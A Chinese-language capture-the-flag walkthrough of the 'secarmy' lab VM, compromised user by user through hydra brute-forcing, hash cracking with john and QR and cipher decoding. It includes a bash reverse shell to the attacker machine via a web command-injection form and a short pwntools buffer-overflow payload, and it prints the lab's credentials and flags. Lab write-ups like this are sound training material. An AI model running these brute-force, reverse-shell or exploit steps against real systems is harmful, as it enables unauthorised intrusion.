靶机:secarmy靶机,IP地址为192.168.230.18
攻击:kali,IP地址为192.168.230.134
靶机和攻击机都采用VMware虚拟机,都采用NAT模式
端口扫描:
nmap 192.168.230.18 -O -A -p- --reason -sV
21/tcp (ftp): 开放的FTP服务,运行的是vsftpd 2.0.8或更新版本。并且允许匿名登录。
22/tcp (ssh): 开放的SSH服务,使用OpenSSH 7.6p1 Ubuntu 4ubuntu0.3版本。提供了RSA、ECDSA和ED25519三种类型的公钥指纹。
80/tcp (http): 开放的HTTP服务,使用Apache httpd 2.4.29版本。网站标题为“Totally Secure Website”,暗示可能是一个测试环境或者故意设置的不安全示例。
1337/tcp: 这个端口开放的服务未能被准确识别(标记为waste?),但是从返回的数据中可以推测出它可能是某种密码恢复设施接口。尝试与之交互时,它要求提供一个“超级秘密令牌”才能继续。
FTP信息探测:
先匿名登录ftp,无密码直接Enter回车就行:
ftp anonymous@192.168.230.18
anonymous是匿名方式登录
pwd
ls -la
发现没有任何目录和文件,无结果
80端口探测:
提到了80端口开放的HTTP服务,先进入网站看看:
http://192.168.230.18
使用whatweb识别网站配置:
whatweb http://192.168.230.18 -v
用dirsearch扫不出来隐藏目录,换成gobuster,查找隐藏的php、html、txt、zip文件:
gobuster dir -u http://192.168.230.18 -w /home/kali/Desktop/test/dic/directory-list-2.3-big.txt -x php,html,txt,zip
字典太大了,不用跑完也行,但能看出有个/anon目录
访问http://192.168.230.18/anon
查看源代码:
得到uno:luc10r4m0n
将这一组凭证保存下来,放置在文件test.txt中,使用hydra进行验证这一组凭证,因为有先前的两个端口21/ftp和22/ssh
hydra -C test.txt 192.168.230.18 ftp
hydra -C test.txt 192.168.230.18 ssh
可以看到ftp服务和ssh服务都能登录
FTP登录:
ftp uno@192.168.230.18
看到有个flag1.txt和readme.txt,先下载下来
get flag1.txt
get readme.txt
得知:
flag1{fb9e88}
要获取第二个用户名,密码已经知道是4b3l4rd0fru705
用户名爆破:
使用ssh服务:
ssh uno@192.168.230.18
查看当前系统有什么用户:
ls -l /home
cat /etc/passwd | grep /bin/bash
打印出有执行权限的用户名:
cat /etc/passwd | grep /bin/bash | awk -F':x' '{print $1}'
另存为users.txt文件,并继续爆破
hydra -L users.txt -p 4b3l4rd0fru705 192.168.230.18 ssh
得知第二个用户是dos:4b3l4rd0fru705
grep妙用与编码处理:
用第二个用户进行ssh登录:
ssh dos@192.168.230.18
ls -la
cat readme.txt
使用grep -l命令在files文件夹里查找字符串:
(grep -l是只返回文件名,不返回其他)
grep -l "a8211ac1853a1235d48829414626512a" files/*
cat files/file4444.txt后看到文件末尾有提示“Look inside file3131.txt”
cd files
cat file3131.txt
放随波逐流和赛博厨师里看看:
发现是个zip文件而且经过base64编码
将其输出成1.zip,并解压:
echo '***' | base64 -d > 1.zip
unzip 1.zip
得知:
flag2{624a21}
secret token:
c8e6afe38c2ae9a0283ecfb4e1b7c10f7d96e54c39e727d0e5515ba24a4d1f1b
提到WASTE和token,一般都是nc连接才用得到(之前做过中科大hackergame2024时遇到过需要输入token),而且对应上先前的1337/waste,下一步应该就是nc连接了
1337端口测试:
nc连接输入token:
nc 192.168.230.18 1337
显示第三个用户是tres:r4f43l71n4j3r0
继续ssh连接:
ssh tres@192.168.230.18
得知:
flag3{ac66cf}
看来下一步就是需要逆向secarmy-village文件了
strings查看与UPX解壳:
先将secarmy-village下载下来:
scp tres@192.168.230.18:/home/tres/secarmy-village /home/kali/Desktop/test/dic/
查壳发现有个UPX壳:
upx -d E:\downloads\secarmy-village
成功脱除UPX壳
再上传脱壳后的secarmy-village文件,用strings查看:
strings secarmy-village | grep user
(根据先前的经验一般都是有user等关键词)
得知用户名及密码:
cuatro:p3dr00l1v4r3z
继续ssh连接:
ssh cuatro@192.168.230.18
得知:
flag4{1d6b06}
访问/justanothergallery路径来查看这些图片
二维码批量解析:
访问http://192.168.230.18/justanothergallery
发现是一堆二维码图片
先下载全部的二维码:
wget -r -A.png http://192.168.230.18/justanothergallery
-r:递归地下载网页
-A:指定.png文件下载
压缩为qr.zip文件,并下载到本机上:
tar zcvf qr.zip qr
再用QR_Research来一个个扫码:
最后在image-53.png扫出用户名和密码:cinco:ruy70m35
继续ssh连接:
ssh cinco@192.168.230.18
得知:
flag5{b1e870}
寻找Cinco用户的秘密空间,在主目录之外
hash暴力破解:
查找所有属于用户cinco的文件或目录:
find / -user cinco 2>/dev/null
找到关键词“secret”,进入该目录,赋予shadow.bak权限并查看该文件内容:
ROCKYOU?有点懵,先看到一串特别长的字符串:
seis:$6$MCzqLn0Z2KB3X3TM$opQCwc/JkRGzfOg/WTve8X/zSQLwVf98I.RisZCFo0mTQzpvc5zqm/0OJ5k.PITcFJBnsn7Nu2qeFP8zkBwx7.:18532:0:99999:7:::
问问AI,发现是用户seis的加密密码
先将shadow.bak文件下载下来:
scp cinco@192.168.230.18:/cincos-secrets/shadow.bak /home/kali
经了解有个rockyou.txt的字典文件,可以用join来配合进行爆破:
john --wordlist=rockyou.txt shadow.bak
爆出来用户名及密码:
seis:Hogwarts
继续ssh连接:
ssh seis@192.168.230.18
得知:
flag6{779a25}
常见的网站路径及命令执行漏洞:
访问网页,发现是个Shell CMS:
http://192.168.230.18/shellcmsdashboard
先用dirsearch扫描一下,扫出来有个robots.txt文件:
dirsearch -u "http://192.168.230.18/shellcmsdashboard" -e*
访问之后看到直接给出用户名及密码admin/qwerty:
登录之后提示去访问/aabbzzee.php:
访问后发现有个输入框:
能够执行ls命令,但想要执行cat readme9213.txt时却没有反应:
接下来可以直接burp爆破一下哪些命令可以执行,但按照经验先进行一下bash反弹shell:
nc -lvvp 9999
bash -c "bash -i >& /dev/tcp/192.168.230.134/9999 0>&1"
得知第七个用户的密码是6u1l3rm0p3n473,但是不知道用户名是什么
根据先前的经验,继续用hydra爆破:
hydra -L users.txt -p 6u1l3rm0p3n473 192.168.230.18 ssh
爆出用户名及密码:
siete:6u1l3rm0p3n473
base系列的位运算:
继续ssh连接:
ssh siete@192.168.230.18
得知flag和一堆文件:
flag7{d5c26a}
直接将所有东西下载下来再看:
ftp siete@192.168.230.18
mget *
password.zip需要解压密码
根据hint.txt的提示,Base 10和Base 256进行某种运算结果是Base 265,这里应该是提示进行位运算
根据message.txt的内容,应该是原始数据
根据key.txt的内容,应该是与x进行位运算
不是很懂,还是让AI来分析一下:
def decrypt_message():# 从message.txt获取的数字序列numbers = [11, 29, 27, 25, 10, 21, 1, 0, 23, 10, 17, 12, 13, 8]# 从key.txt获取的密钥key = ord('x')# 将数字转换为字节并应用XOR解密decrypted = bytes([n ^ key for n in numbers])# 输出解密结果print(f"解密后的密码: {decrypted.decode('utf-8')}")if __name__ == "__main__":decrypt_message()
得知解压密码是:secarmyxoritup
unzip password.zip,成功解压password.zip文件得到password.txt文件:
得知下一个用户的密码是m0d3570v1ll454n4
继续用hydra爆破:
hydra -L users.txt -p m0d3570v1ll454n4 192.168.230.18 ssh
爆出用户ocho:m0d3570v1ll454n4
流量包分析与键盘密码:
继续ssh连接:
ssh ocho@192.168.230.18
得知:
flag8{5bcf53}
将keyboard.pcapng下载下来:
scp ocho@192.168.230.18:/home/ocho/keyboard.pcapng /home/kali/Desktop/test/dic/
wireshark打开,http.request.method==GET,发现none.txt出现多次,追踪http流:
报文内容太长了,让AI分析一下可疑的地方:
直接找出来了:"mjwfr?2b6j3a5fx/"
去keyboard网站解密:https://www.dcode.fr/keyboard-shift-cipher
解出用户名及密码:
nueve:355u4z4rc0
继续ssh连接:
ssh nueve@192.168.230.18
得知:
flag9{689d3e}
应该是要通过orangutan来进行提权?用strings分析一下,发现关键词:
看来是CTF里的pwn啊,先下载下来
ftp nueve@192.168.230.18
get orangutan
检查附件的保护方式,发现是64位程序,开启了NX保护:
checksec orangutan
用IDA打开,shift+F12发现“/bin/sh”:
到这里不会了,pwn不熟悉,直接看国外的WP了
from pwn import *
offset = b"A" * 24
secret = b"\xbe\xba\xfe\xca"
payload = offset + secret
conn = remote('192.168.230.18',8000)
print(conn.recvline())
print(conn.recvline())
conn.sendline(payload)
conn.interactive()
先在靶机运行:socat TCP-LISTEN:8000,fork EXEC:./orangutan
再在kali上运行:python test.py
cd /root
ls -la
cat root.txt
得知:
flag10{33c9661bfd}
总结:
flag1{fb9e88}
flag2{624a21}
flag3{ac66cf}
flag4{1d6b06}
flag5{b1e870}
flag6{779a25}
flag7{d5c26a}
flag8{5bcf53}
flag9{689d3e}
flag10{33c9661bfd}